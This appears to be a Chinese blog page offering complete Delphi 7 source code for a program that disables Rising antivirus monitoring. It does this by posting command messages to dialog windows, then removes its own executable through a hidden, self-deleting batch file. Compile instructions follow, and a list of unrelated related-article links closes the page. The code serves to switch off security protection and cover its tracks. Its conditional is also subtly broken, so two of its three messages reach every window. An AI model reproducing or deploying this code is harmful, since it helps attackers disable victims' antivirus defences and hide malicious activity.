program Project1;

uses
Windows, Messages, SysUtils;

procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;

procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND,40027,0);
PostMessage(hWindow, WM_COMMAND,2775,0);
PostMessage(hWindow, WM_COMMAND,32776,0);
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end.

把全部内容拷贝到 Project1.dpr 中。在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件。
程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可。

DELPHI关闭瑞星监控的源代码的更多相关文章

  1. Delphi编写后台监控软件

    Delphi编写后台监控软件         文章来源:Delphi程序员之家     后台监控软件,为了达到隐蔽监控的目的,应该满足正常运行时,不显示在任务栏上,在按Ctrl+Alt+Del出现的任 ...

  2. 利用Delphi实现网络监控系统

    实现的原理WINSOCK是一组API,用于在INTE.Net上传输数据和交换信息.用它编程本来是很麻烦的,但在DELPHHI中并不需要直接与WINSOCK的API打交道,因为TclientSocket ...

  3. 大约Android远程监控APP源代码

    这篇文章的目的,关心询问名人,要打开源代码.这里说明,远程监控摄像头场外,相反,用手机摄像头摄像头server上,要理解这一点.关于非常网上的文章达到server道路.它能够准确,念就乱发博文,当然假 ...

  4. delphi关闭程序Close,application.Terminate与halt区别

    当Close是一个主窗体时,程序会退出.Close会发生FormClose事件,FormCloseQuery事件Halt会发生FormDestory事件,Application.Terminate以上 ...

  5. delphi 写系统日志监控 转

    不久前写了个抓取网页内容的小程序,跑了一晚上,本以为早上起来都抓完了,谁知道程序死掉了,分析半天,才发现用tmemo来记录日志的信息太多了,越积越多,本来memo的容量就不大.对于无法控制信息量的日志 ...

  6. 怎样用delphi关闭并重新启动 explorer.exe进程

    uses Tlhelp32; function KillTask(ExeFileName:string):integer; const PROCESS_TERMINATE = $0001; var C ...

  7. Delphi 关闭MDI子窗口

    需要在子窗口的onClose事件中吧Action = caFree; 就可以了. procedure Tfrm_aa.FormClose(Sender: TObject; var Action: TC ...

  8. Icon cache rebuilding with Delphi(Delphi 清除Windows 图标缓存源代码)

    清除Windows图标缓存的代码: procedure RebuildIconCache; .... const sr_WindowMetrics='Control Panel\Desktop\Win ...

  9. 看一段Delphi导出到Word的源代码

    procedure TFrmWeekAnalysisQry.BtnExportToExcelClick(Sender: TObject);var wordApp,WordDoc,WrdSelectio ...

随机推荐

  1. POJ2031Building a Space Station

    http://poj.org/problem?id=2031 题意:你是空间站的一员,太空里有很多球形且体积不一的“小房间”,房间可能相距不近,也可能是接触或者甚至是重叠关系,所有的房间都必须相连,这 ...

  2. HDU1180+BFS

    bfs思路:三维标记状态 && 处理好 - | 和时刻的关系即可 /* bfs 思路:三维标记状态 && 处理好 - | 和时刻的关系即可 */ #include< ...

  3. Windows8、Windows8.1和Microsoft Office 2013激活

    KMS激活软件: 什么是KMS?什么是伪激活?http://tieba.baidu.com/p/3224677648 KMSpico激活软件:链接: http://pan.baidu.com/s/1e ...

  4. POJ3026——Borg Maze(BFS+最小生成树)

    Borg Maze DescriptionThe Borg is an immensely powerful race of enhanced humanoids from the delta qua ...

  5. POJ2109——Power of Cryptography

    Power of Cryptography DescriptionCurrent work in cryptography involves (among other things) large pr ...

  6. 关于fedora下jdk的安装

    http://zhumeng8337797.blog.163.com/blog/static/1007689142012472620637/ alternative命令 http://blog.csd ...

  7. nginx + tomcat

    http://blog.csdn.net/sun305355024sun/article/details/8620996

  8. LeetCode Delete Node in a Linked List (删除链表中的元素)

    题意:给一个将要删除的位置的指针,要删除掉该元素.被删元素不会是链尾(不可能删得掉). 思路:将要找到前面的指针是不可能了,但是可以将后面的元素往前移1位,再删除最后一个元素. /** * Defin ...

  9. Java [leetcode 22]Generate Parentheses

    题目描述: Given n pairs of parentheses, write a function to generate all combinations of well-formed par ...

  10. RHCS集群

    理论基础: User → HA →     Lb    → web → sql → 分布式filesystem ->磁盘I/O 用户   高可用 负载均衡    应用   数据库      mf ...